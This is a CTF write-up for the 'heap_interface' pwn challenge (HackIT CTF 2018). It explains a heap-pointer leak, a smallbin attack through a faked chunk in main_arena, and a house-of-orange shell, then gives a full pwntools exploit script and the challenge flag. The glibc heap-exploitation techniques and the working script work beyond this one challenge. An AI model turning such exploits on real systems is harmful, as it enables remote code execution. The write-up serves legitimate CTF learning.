Tags: houseoforange fastbin 

Rating: 0

**Description**

> This heap interface is really cool. We ask our clients to submit PoW to use this.
>
> UPDATE : We removed PoW, please don't try to brute more than 4 bits.
>
> `nc 185.168.131.133 6000`

**Files provided**

- [libc-2.24.so](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-08-HackIT-CTF/files/libc-2.24.so)
- [heap_interface](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-08-HackIT-CTF/files/heap_interface)

**Solution** (by [Mem2019](https://github.com/Mem2019))

The program is simple, typical UAF but without show, and house of roman that requires 12-bit bruteforce is not allowed.

The potential leak is here,

```c
int printfname()
{
return printf("Name: %s\n", name);
}
```

and the name is not null terminated. According to the memory layout, the buffer pointers are just after the name, so we can leak the address of heap directly.

However, we need to leak libc, so we want the allocation to be allocated in libc. Fastbin attack is not possible, because the size is restricted to be larger than fastbin size, so what we can do is [smallbin attack](https://github.com/shellphish/how2heap/blob/master/glibc_2.26/house_of_lore.c). In this way we need to fake a smallbin in libc first.

Initially I would like to use `scanf`, since this will write data in the `_IO_buf_base` field of stdin, which is in libc, but the program will get into a infinite loop as long as we input non-digit character for scanf.

Alternatively, I tried to fake such smallbin chunk in fastbin field of `main_arena`. Firstly we need to manipulate the heap and utilize [house of spirit](https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_spirit.c) to fake a fastbin chunk and free it into fastbin linked list table in `main_arena`. Then continue to manipulate heap to satisfy the precondition required by small bin attack. Also, I use partial rewrite to write 1 least significant byte of `bk` of victim small bin(this is very close to our faked chunk) and let the smallbin chunk's `bk` to point to our faked smallbin chunk in fastbin of `main_arena`. Then we can call `malloc` and get an address in libc, so if we put this to index 0, we can leak the libc.

After leaking libc, things become easy, use house of orange attack to getshell

exp:

```python
from pwn import *

g_local=False
context.log_level='debug'

if g_local:
e = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
sh = process('./heap_interface')#env={'LD_PRELOAD':'./libc.so.6'}
ONE_GADGET_OFF = 0x4526a
FAKE_CHUNK_LSB = 0x28
IO_STR_FINISH = 0x3c37b0
#gdb.attach(sh)
FAKE_CHUNK_OFF = 0x3c4b38
else:
sh = remote("185.168.131.133", 6000)
e = ELF("./libc-2.24.so")
FAKE_CHUNK_LSB = 0x08
ONE_GADGET_OFF = 0x4557a
IO_STR_FINISH = 0x394510
FAKE_CHUNK_OFF = 0x3c4b18

def mymalloc(size, idx):
sh.send("1\n")
sh.recvuntil("Enter size of chunk :")
sh.send(str(size) + "\n")
sh.recvuntil("Enter index :")
sh.send(str(idx) + "\n")
sh.recvuntil("4. Show info\n")

def myfree(idx):
sh.send("3\n")
sh.recvuntil("Enter index :")
sh.send(str(idx) + "\n")
sh.recvuntil("4. Show info\n")

def mywrite(idx, data):
sh.send("2\n")
sh.recvuntil("Enter index of chunk :")
sh.send(str(idx) + "\n")
sh.recvuntil("Enter data :")
sh.send(data)
sh.recvuntil("4. Show info\n")

def showname():
sh.send("4\n")
sh.recvuntil("Name: " + "A" * 0x20)
ret = sh.recvuntil("\n")
sh.recvuntil("4. Show info\n")
return ret[:len(ret)-1]

sh.send("A" * 0x20)
sh.recvuntil("4. Show info\n")

#----------------leak heap
mymalloc(0x100, 0)
heap_addr = u64(showname() + "\x00\x00") - 0x10
print hex(heap_addr)
myfree(0)

#----------------small bin attack
# fake_chunk_1[0] = 0;
# fake_chunk_1[1] = 0;
# fake_chunk_1[2] = victim_chunk; # at 0x90 chunk smallbin
# fake_chunk_1[3] = (intptr_t*)fake_chunk_2;
# fake_chunk_2[2] = (intptr_t*)fake_chunk_1;

# fake the fake chunk in the fastbin

mymalloc(0x80, 0)
mymalloc(0x180, 1) # this will cover 2
myfree(0)
myfree(1)
mymalloc(0x90, 0)
mymalloc(0x80, 2) # victim chunk
myfree(0)
myfree(2)
mymalloc(0x1F0, 0) # control first 0x200 chunk
#0 1 2 used to prepare victim chunk in fastbin

mymalloc(0x80, 3)
mymalloc(0x180, 4) # this will cover 5
myfree(3)
myfree(4)
mymalloc(0x90, 3)
mymalloc(0x80, 5)
myfree(3)
myfree(5)
mymalloc(0x1F0, 3) # control first 0x200 chunk
#3 4 5 used to prepare fake_chunk_2 chunk in fastbin

#topchunk 400

mywrite(1, p64(0) + p64(0x41) + 'A' * 0x38 + p64(0x41))
mywrite(4, p64(0) + p64(0x51) + 'B' * 0x48 + p64(0x51))
myfree(2)
myfree(5)
#fake the fake chunk1

mywrite(4, p64(0) + p64(0x91) + 'C' * 0x88 + p64(0x21) + 'D' * 0x18 + p64(0x21))
myfree(5)
mymalloc(0x80, 6)
mywrite(5, chr(FAKE_CHUNK_LSB)) # fake_chunk_2[2] = (intptr_t*)fake_chunk_1;
#now 0x40 0x50 fastbin, others empty

mywrite(1, p64(0) + p64(0x91) + 'C' * 0x88 + p64(0x21) + 'D' * 0x18 + p64(0x21))
myfree(2)

mymalloc(0x100, 7) #put to smallbin

mywrite(2, p64(1) + chr(FAKE_CHUNK_LSB))
mymalloc(0x80, 8)
mymalloc(0x80, 0)

libc_addr = u64(showname() + "\x00\x00") - FAKE_CHUNK_OFF
print hex(libc_addr)
#smallbin broken for 0x90

#house of orange---------------------

fake_file = p64(0)
fake_file += p64(0x61)
fake_file += p64(1)
fake_file += p64(libc_addr + e.symbols["_IO_list_all"] - 0x10)
fake_file += p64(2) + p64(3)
fake_file += "\x00" * 8
fake_file += p64(libc_addr + next(e.search('/bin/sh\x00'))) #/bin/sh addr
fake_file += (0xc0-0x40) * "\x00"
fake_file += p32(0) #mode
fake_file += (0xd8-0xc4) * "\x00"
fake_file += p64(libc_addr + IO_STR_FINISH - 0x18) #vtable_addr
fake_file += (0xe8-0xe0) * "\x00"
fake_file += p64(libc_addr + e.symbols["system"])

mymalloc(0x90, 9)
mymalloc(0x100, 11)
mymalloc(0x100, 14)
#if no this padding, consolidate will cause SIG_BUS?
myfree(9)
myfree(11)
mymalloc(0xA0, 10)
mymalloc(0xF0, 12)
mymalloc(0x90, 13)
myfree(12)

mywrite(11, fake_file)
mymalloc(400, 15)

sh.interactive()
```

However, the flag is `flag{gl0bal_m4x_fastb1n_atta3k_OMG_too_kewl}`, which is different from my solution since I didn't attack `global_max_fast`